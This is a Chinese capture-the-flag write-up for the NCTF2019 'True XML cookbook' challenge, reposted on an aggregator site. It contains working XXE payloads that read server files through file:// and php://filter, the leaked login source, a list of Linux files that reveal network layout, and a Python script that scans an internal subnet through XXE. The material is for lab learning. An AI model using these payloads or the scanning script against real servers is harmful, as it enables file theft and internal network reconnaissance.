当前位置: 首页 > news >正文

[NCTF2019]True XML cookbook

TRY

尝试XML外部实体注入

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

出现报错:

Warning: DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

使用绝对路径回显code 0,因该是引入成功了但是看不到源码。

应该是我记错了,file协议不能用相对路径,只能用绝对路径

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

成功拿到源码:

<?php
$USERNAME = 'admin'; 
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; 
$result = null;libxml_disable_entity_loader(false);//允许解析外部实体
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}	
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

外部实体没有禁用,但是不知道flag的位置。感觉可以尝试反弹shell或者注入一句话木马。

WP

flag在内网上,考点是利用XXE进行内网探测。

/etc/hosts 是一个在类 Unix 系统(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允许用户手动指定 IP 地址与域名(或主机名)的映射关系,优先级高于 DNS 服务器解析。

读取结果:

fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
127.0.0.1 localhost

发现和题解有所不同,并没有暴露IP线索。

在 Linux 系统中,以下文件可能包含或暴露 IP 网段相关信息:

  1. /etc/hosts
    存放本地静态 IP 与主机名的映射关系,可能包含本机或局域网内的 IP 网段信息,例如局域网设备的固定 IP 配置。
  2. /etc/network/interfaces(Debian/Ubuntu 系统)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系统)
    存储网络接口的配置信息,包括 IP 地址、子网掩码、网关等,直接暴露本机所在的 IP 网段。
  3. /proc/net/fib_trie - 内核维护的路由信息数据结构,包含系统当前所有已知的 IP 网段路由条目,可通过该文件分析系统可达的网络网段。
    4.** /etc/resolv.conf - 存放 DNS 服务器的 IP 地址,这些 DNS 服务器的 IP 可能属于特定网段,间接暴露网络环境的 IP 规划。
    5.
    /var/log/syslog 、 /var/log/messages ** 等系统日志文件
    日志中可能记录网络连接、服务启动等信息,包含访问过的 IP 地址或网段(如 SSH 登录记录、服务绑定的 IP 等)。
    6.** /proc/net/arp - 存放当前 ARP 缓存表,包含局域网内设备的 IP 与 MAC 地址映射,直接暴露本地局域网的 IP 网段。
    7.
    /etc/netplan/*.yaml**(现代 Ubuntu 系统)
    网络配置文件,包含 IP 地址、子网掩码、网关等信息,与 interfaces 文件作用类似,暴露本机所在网段。
  4. /proc/net/tcp 和 /proc/net/udp-记录当前系统建立的 TCP/UDP 连接信息,包含本地和远程的 IP 地址及端口,可从中提取涉及的 IP 网段。
    这些文件中,网络配置文件(如 interfaces、netplan)和路由 / 连接信息文件(如 fib_trie、arp、tcp)是暴露 IP 网段最直接的来源。

从/proc/net/fib_trie中得到:

Main:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST

看到暴露的一个IP:10.244.166.182

利用bp探测该网段下存活IP,因为没能设置INTRUDER的响应超时,太慢了。用脚本跑一下:

import requests
from requests.exceptions import Timeout# 目标URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"# 请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0","Accept": "application/xml, text/xml, */*; q=0.01","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate, br","Content-Type": "application/xml;charset=utf-8","X-Requested-With": "XMLHttpRequest","Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81","Connection": "close","Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/","Priority": "u=0"
}for i in range(1, 255):print(i)# 请求体数据data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'try:# 发送POST请求response = requests.post(url,headers=headers,data=data,verify=False,timeout=1)# 检查HTTP错误状态码(4xx, 5xx)response.raise_for_status()# 打印响应结果print("状态码:", response.status_code)print("响应内容:", response.text)except Timeout:print("错误: 请求超时,服务器未在指定时间内响应")

在这里插入图片描述
说明存在内网10.244.166.191

总结

首先是基础的XML外部实体注入,然后利用该漏洞探测内网。绝大部分情况下expect://协议肯定是不被允许的,所以无法执行系统命令反弹shell。

http://www.dtcms.com/a/342655.html

相关文章:

  • PyTorch Vision 系列:高效数据处理的利器
  • 动手学深度学习(pytorch版):第五章节—深度学习计算(2)参数管理
  • 进程和进程调度
  • Rclone入门对象存储云到云迁移
  • 我从零开始学微积分(2)- 函数与图形
  • YOLO --- YOLOv3以及YOLOv4模型详解
  • Redis Hash数据类型深度解析:从命令、原理到实战场景
  • IPSEC安全基础后篇
  • 易焓仪器安全帽耐熔融金属飞溅性能测试仪:飞溅场景适配与精准检测
  • 力扣 30 天 JavaScript 挑战 第37天 第九题笔记 知识点: 剩余参数,拓展运算符
  • 智慧农业温室大棚远程监控物联网系统解决方案
  • CRaxsRat v7.4:网络安全视角下的深度解析与防护建议
  • AECS(国标ECALL GB 45672-2025)
  • 5G视频终端详解 无人机图传 无线图传 便携式5G单兵图传
  • 汇总图片拖进ps中 photoshop同时打开几个文件夹
  • 【论文阅读 | TCSVT 2025 | CFMW:面向恶劣天气下鲁棒目标检测的跨模态融合Mamba模型】
  • 深入理解Docker网络:从docker0到自定义网络
  • 设计简洁的Ansible:目前非常流行的开源配置管理和自动化工具
  • webrtc中win端音频---windows Core Audio
  • Mysql基础(②锁)
  • 想在手机上操作服务器?cpolar让WaveTerminal终端随身携带,效率倍增
  • 高并发短信网关平台建设方案概述
  • 打造医疗新质生产力
  • nodejs安装后 使用npm 只能在cmd 里使用 ,但是不能在poowershell使用,只能用npm.cmd
  • ES_多表关联
  • Linux 信号 (Signals)
  • 鱼眼相机去畸变的算法原理(一)
  • WEB服务器(静态/动态网站搭建)
  • 循环神经网络实战:用 LSTM 做中文情感分析(二)
  • Mokker AI:一键更换照片背景的AI神器